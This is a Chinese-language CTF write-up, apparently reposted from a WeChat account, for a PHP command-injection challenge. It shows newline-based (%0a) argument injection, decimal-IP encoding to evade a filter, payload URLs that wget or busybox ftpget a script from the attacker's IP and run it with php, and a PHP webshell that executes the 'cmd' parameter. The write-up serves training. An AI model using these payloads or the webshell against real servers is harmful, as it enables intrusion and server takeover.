CTF分享 | 命令执行-1

admin 2024年8月26日01:45:24评论14 views字数 1354阅读4分30秒阅读模式

1 命令执行

题目源码:

CTF分享 | 命令执行-1

代码分析:在目录sandbox下,新建以 IP地址 命名的目录

CTF分享 | 命令执行-1

代码分析: 接受GET方式提交的参数args (数组)匹配数组中每一项是否只由数字、 字母、下划线组成,最后执行/bin/true命令,并且拼接args参数。

CTF分享 | 命令执行-1

args=[1,2,3] => /bin/true 1 2 3

题眼:

1、根据循环遍历代码: Si=0; Si<count(Sargs); Si++,可知Sargs是一个数组。

2、根据匹配代码: preg_match('/^w+S/', Sargs[Si) ,可知Sargs中每一项必须只能由数字、字母、下划线组成。必须绕过

3、根据执行代码implode(" ", args中每一项都使用 " "空格分隔,符合执行多条命令的条件。

那么此时是否可以直接读取flag值? 正则匹配打消念头。另辟蹊径,上传(下载) webshell, 取得无限制的命令执行接口。

题目分析:

1、命令换行

两条命令执行,需要由分隔,否则系统无法识别。

n -> url编码%0a,并且%0a也会绕过 匹配代码。

访问URL: http://ip/?args[]=a%0A&args[]=touch&args]=abc,相当于执行以下shell命令。

/bin/true a
touch abc

此时在IP地址命名的目录下,新建了一个abc文件。

CTF分享 | 命令执行-1

2、IP地址匹配

IP地址使用点分十进制表示,此时程序在匹配过程中,会无法匹配到。因此可以使用IP地址的十进制格式绕过匹配

例如:

127.0.0.1 ==> 2130706433

在线转换地址: https://www.whois365.com/cn/tools/decimal-ip/encode/127.0.0.1

注意:文件后缀名也会被匹配,因此文件后缀名无法出现

CTF分享 | 命令执行-1

实现:无需文件后缀名即可调用执行相关代码

解题方法: wget 或 busybox->ftpget # %0a->换行符

1、上传shell

http:/ /localhost/
?args[0]=x%0a
&args[1] =mkdir
&args [2 ]=abc%0a
&args[3]=cd
&args [4 ]=abc%0a
&args[5] =wget
&args[6]=IP地址%0a

http://localhost/?args[ ]=aa%0a&args[ ]=busybox&args[ ]=ftpget&args[]=<IP_IN_ DECIMAL>&args[ ]=script

2、执行shell

http://localhost/
?args[0]=x%0a 
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args [4]=abc%0a
&args[5]=php
&args[6]=aa

http://localhost/?args[ ]=aa%0a&args[ ]=php&args[ ]=script

shell代码:

<?php

file_put_contents(' shell.php' , '
<?php
header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);
?>

');
?>

接下来访问abc目录下的shell.php即可对服务器接管, 寻找flag值。

CTF分享 | 命令执行-1

原文始发于微信公众号(安全君呀):CTF分享 | 命令执行-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月26日01:45:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF分享 | 命令执行-1http://cn-sec.com/archives/3095321.html

发表评论

匿名网友 填写信息